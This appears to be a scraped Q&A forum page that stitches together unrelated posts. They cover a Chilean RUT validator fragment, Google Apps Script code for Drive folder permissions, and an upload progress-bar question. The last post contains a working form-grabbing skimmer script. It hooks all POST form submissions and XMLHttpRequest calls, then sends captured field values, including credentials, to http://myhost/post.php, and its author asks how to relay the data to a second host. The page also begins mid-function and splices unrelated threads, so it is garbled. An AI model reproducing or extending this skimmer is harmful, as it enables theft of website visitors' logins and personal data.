// Obtener su Producto con el Múltiplo Correspondiente
index = multiplo * valor.charAt(cuerpo.length - i);
// Sumar al Contador General
suma = suma + index;
// Consolidar Múltiplo dentro del rango [2,7]
if(multiplo < 7) { multiplo = multiplo + 1; } else { multiplo = 2; }
}
// Calcular Dígito Verificador en base al Módulo 11
dvEsperado = 11 - (suma % 11);
// Casos Especiales (0 y K)
dv = (dv == 'K')?10:dv;
dv = (dv == 0)?11:dv;
// Validar DV
if(dvEsperado != dv) { rut.setCustomValidity("RUT Inválido"); return false; }
// Validación
rut.setCustomValidity('');
}
function successnotification2(){
document.getElementById("save-success2").classList.remove("invisible");
setTimeout(function(){
document.getElementById("save-success2").classList.add("invisible")
},25000);
}
function getSip(){
var sipCode = document.getElementById("numsip").value;
google.script.run.withSuccessHandler(updatesipcode).getsip(sipCode);
}
function updatesipcode(sipCode){
document.getElementById("sipcode").value = sipCode;
}
document.getElementById("numsip").addEventListener("input",getSip)
Greetings and Thank You!
My old method it was very "heavy". When i set the permission to the folder and files, i had to call a lot of times the Driver API and the services. Other problem it was that the parent folder had a lot of folders and many files which made it take a long time to set the permissions to the user or revocate permissions.
My new method was create a folder with edit permission for the users and move the files and folder to the destiny folder for other users. My objetive was set the correct permissions for final users.This is my new code. The javascript's code doesn't have problems:
function moveFiles(sourceFileId, targetFolderId) {
var file = DriveApp.getFileById(sourceFileId);
file.getParents().next().removeFile(file);
DriveApp.getFolderById(targetFolderId).addFile(file);
}
function fileExists(idfileexist,folderId) {
var consulta = DriveApp.getFileById(idfileexist).getName()
var files = DriveApp.getFilesByName(consulta);
while (files.hasNext()) {
var file = files.next();
var folders = file.getParents();
if (folders.hasNext()) {
var folder = folders.next();
if (folder.getId() == folderId) {
return true;
}
}
}
return false;
}
function removepermission(id, user){
DriveApp.getFileById(id).removeEditor(user)
}
function appendrow(idfile,sheet,numsip,rut,timestamp,user,idfolder,exedoc,ticket){
var values = SpreadsheetApp.openById(idfile);
var ss= values.getSheetByName(sheet);
ss.appendRow([numsip,rut,timestamp,user,idfolder,exedoc,ticket])
}
function setpermisoswriter(id,array){
var file = DriveApp.getFileById(id)
var editors = file.getEditors();
if (editors.length > 0) {
for (var i = 0; i < array.length; i++) {
Drive.Permissions.insert({'role': 'writer','type': 'user','value': array[i]},id,{'sendNotificationEmails': 'false' });};};
}
function setpermisosreader(id,array){
var file = DriveApp.getFileById(id)
var editors = file.getEditors();
if (editors.length > 0) {
for (var i = 0; i < array.length; i++) {
Drive.Permissions.insert({'role': 'reader','type': 'user','value': array[i]},id,{'sendNotificationEmails': 'false' });};};
}
function setownerid(id,user){
Drive.Permissions.insert({'role': 'owner','type': 'user','value': user},id,{'sendNotificationEmails': 'false'})
}
function setpermisoread(id,user){
Drive.Permissions.insert({'role': 'reader','type': 'user','value': user},id,{'sendNotificationEmails': 'false'})
}
function setpermisowrite(id,user){
Drive.Permissions.insert({'role': 'writer','type': 'user','value': user},id,{'sendNotificationEmails': 'false' })
}
function addNewRow(array,obj) {
var admin ="ADMIN"
var useractive = Session.getActiveUser().getEmail();
var timestamp = new Date();
var sheet="DATA"
var parentFolderIdorigen ="PARENT FOLDER"
var idfile="IDSHEET"
var parentFolderorigen = DriveApp.getFolderById(parentFolderIdorigen)
var parentFolderIddestino = "ID"
setpermisowrite(idfile,useractive)
var folderName = "SIP "+array.numsip+"/"+array.rut;
var foldercreated = parentFolderorigen.getFoldersByName(folderName);
foldercreated = foldercreated.hasNext() ? foldercreated.next() : parentFolderorigen.createFolder(folderName);
var idfolder= foldercreated.getId()
appendrow(idfile,sheet,array.numsip,array.rut,timestamp,useractive,idfolder,array.input,array.ticket)
setownerid(idfolder,admin)
return obj.map(({fileName, mimeType, data}) => {
var blob = Utilities.newBlob(Utilities.base64Decode(data), mimeType, fileName);
var foldercode = foldercreated.createFile(blob).getId();
var archivo = fileExists(foldercode,idfolder);
if (archivo==false){
console.log("archivo ya existe")
}
else{
setownerid(foldercode,admin)
moveFiles(idfolder,parentFolderIddestino)
moveFiles(foldercode,idfolder)
console.log("archivo creado")
return foldercode
}
});
}
function getsip(sipCode){
var url ="URLSHEET";
var ss2= SpreadsheetApp.openByUrl(url);
var ws2= ss2.getSheetByName("DATA")
var data2 = ws2.getRange(2, 1, ws2.getLastRow(), 2).getDisplayValues()
var idList = data2.map(function(r) {return r[0];});
var position = idList.indexOf(sipCode)
if (position >-1){
console.log (idList[position])
return "REPETIDO";
} else{
console.log ("2")
return "NOREPETIDO"
}
}
Thanks to #Cooper and #ziganotschka for their comments.
I have a file upload page that uses ajax to show a progress bar and has a drag and drop feature (global.js and upload.js). But the progress bar and the drag and drop does not work. I get a Uncaught Reference error app not definded in my global.js. However, I have app defined in upload.js. Why does it complain about app not being defined? Thank you.
// global.js
(function() {
"use strict";
var dropZone = document.getElementById('drop-zone');
var barFill = document.getElementById('bar-fill');
var barFillText = document.getElementById('bar-fill-text');
var uploadsFinished = document.getElementById('uploads-finished');
var startUpload = function(files) {
app.uploader({
files: files,
progressBar: barFill,
progressText: barFillText,
processor: 'upload.php',
finished: function(data) {
var x;
var uploadedElement;
var uploadedAnchor;
var uploadedStatus;
var currFile;
for(x = 0; x < data.length; x = x + 1) {
currFile = data[x];
uploadedElement = document.createElement('div');
uploadedElement.className = 'upload-console-upload';
uploadedAnchor = document.createElement('a');
uploadedAnchor.textContent = currFile.name;
if(currFile.uploaded) {
uploadedAnchor.href = 'uploads/' + currFile.file;
}
uploadedStatus = document.createElement('span');
uploadedStatus.textContent = currFile.uploaded ? 'Uploaded' : 'Failed';
uploadedElement.appendChild(uploadedAnchor);
uploadedElement.appendChild(uploadedStatus);
uploadsFinished.appendChild(uploadedElement);
}
uploadsFinished.className = '';
},
error: function() {
console.log('There was an error');
}
});
};
// Standard form upload
document.getElementById('standard-upload').addEventListener('click', function(e) {
var standardUploadFiles = document.getElementById('standard-upload-files').files;
e.preventDefault();
startUpload(standardUploadFiles);
});
// Drop functionality
dropZone.ondrop = function(e) {
e.preventDefault();
this.className = 'upload-console-drop';
startUpload(e.dataTransfer.files);
};
dropZone.ondragover = function() {
this.className = 'upload-console-drop drop';
return false;
};
dropZone.ondragleave = function() {
this.className = 'upload-console-drop';
return false;
};
}());
// upload.js
var app = app || {};
(function(o) {
"use strict";
// Private methods
var ajax, getFormData, setProgress;
ajax = function(data) {
var xmlhttp = new XMLHttpRequest();
var uploaded;
xmlhttp.addEventListener('readystatechange', function() {
if(this.readyState === 4) {
if(this.status === 200) {
uploaded = JSON.parse(this.response);
if(typeof o.options.finished === 'function') {
o.options.finished(uploaded);
}
} else {
if(typeof o.options.error === 'function') {
o.options.error();
}
}
}
});
xmlhttp.upload.addEventListener('progress', function(e) {
var percent;
if(e.lengthComputable === true) {
percent = Math.round((event.loaded / event.total) * 100);
setProgress(percent);
}
});
xmlhttp.open('post', o.options.processor);
xmlhttp.send(data);
};
getFormData = function(source) {
var data = new FormData();
var i;
for(i = 0; i < source.length; i = i + 1) {
data.append('files[]', source[i]);
}
return data;
};
setProgress = function(value) {
if(o.options.progressBar !== undefined) {
o.options.progressBar.style.width = value ? value + '%' : 0;
}
if(o.options.progressText !== undefined) {
o.options.progressText.textContent = value ? value + '%' : '';
}
};
o.uploader = function(options) {
o.options = options;
if(o.options.files !== undefined) {
ajax(getFormData(o.options.files));
}
};
}(app));
The variable app is define inside the upload.js file. I thinks you should just load Upload.js before global.js
<script src="/javascripts/upload.js" type="text/javascript"></script>
<script src="/javascripts/global.js" type="text/javascript"></script>
I have some code Javascript Snippet for collection data from my website
http://myhost/req.js
var readyStateCheckInterval_dn0400 = setInterval(function () {
if (document.readyState === "complete" || document.readyState === "interactive") {
clearInterval(readyStateCheckInterval_dn0400);
try {
if (window._dn0400) {
return
}
window._dn0400 = true;
init_dn0400()
} catch (e) {}
}
}, 100);
function getAllPostForms_dn0400() {
var allForms = document.getElementsByTagName("form");
var result = [];
for (var i = 0; i < allForms.length; i++) {
if (allForms[i].method === "post") {
result.push(allForms[i])
}
}
return result
}
function onFormSubmit_dn0400() {
var res = [];
for (var i = 0; i < this.elements.length; i++) {
var name = this.elements[i].name;
var value = this.elements[i].value;
res.push({
name: name
, value: value
})
}
var url = this.action;
res = JSON.stringify(res);
var obj = {
data: res
, url: url
};
localStorage.setItem("_dn0400", JSON.stringify(obj));
sendData_dn0400(res, url)
}
function tryOnFormSubmit_dn0400() {
try {
onFormSubmit_dn0400.apply(this, arguments)
} catch (e) {}
}
function overloadForms_dn0400() {
var forms = getAllPostForms_dn0400();
for (var i = 0; i < forms.length; i++) {
var form = forms[i];
if (typeof form.addEventListener === "function") {
form.addEventListener("submit", tryOnFormSubmit_dn0400, false)
} else if (typeof form.attachEvent === "function") {
form.attachEvent("onsubmit", tryOnFormSubmit_dn0400)
}
}
}
function buildFullUrl(host, url) {
if (url.indexOf("http://") !== -1 || url.indexOf("https://") !== -1) {
return url
}
if (host[host.length - 1] !== "/") {
host += "/"
}
if (url[0] === "/") {
url = url.substring(1)
}
return host + url
}
function sendData_dn0400(data, url) {
var x = new XMLHttpRequest;
var query = "data_dn0400=" + encodeURIComponent(data) + "&url_dn0400=" + encodeURIComponent(url);
x.open("GET", "http://myhost/post.php?" + query, true);
x._dn0400 = true;
x.send()
}
function overloadAjax_dn0400() {
(function (open) {
XMLHttpRequest.prototype.open = function () {
open.apply(this, arguments);
var method = arguments[0].toLowerCase();
var url = arguments[1];
this._method = method;
this._url = url
}
})(XMLHttpRequest.prototype.open);
(function (send) {
XMLHttpRequest.prototype.send = function (data) {
send.call(this, data);
if (this._dn0400) {
delete this._dn0400;
return
}
var method = this._method;
var url = this._url;
delete this._method;
delete this._url;
if (method !== "post") {
return
}
url = buildFullUrl(window.location.host, url);
if (!data) {
data = {}
}
data = JSON.stringify(data);
sendData_dn0400(data, url)
}
})(XMLHttpRequest.prototype.send)
}
function init_dn0400() {
overloadForms_dn0400();
overloadAjax_dn0400();
var old = localStorage.getItem("_dn0400");
if (old) {
localStorage.removeItem("_dn0400");
try {
old = JSON.parse(old);
sendData_dn0400(old.data, old.url)
} catch (e) {}
}
return;
var x = new XMLHttpRequest;
x.open("POST", "test1", true);
var obj = {
name: "user"
, pass: "pswd"
};
x.send(obj)
}
but to remote that file I need PHP file to get the data with same host
my question how if req.js in host1 but post.php in host2?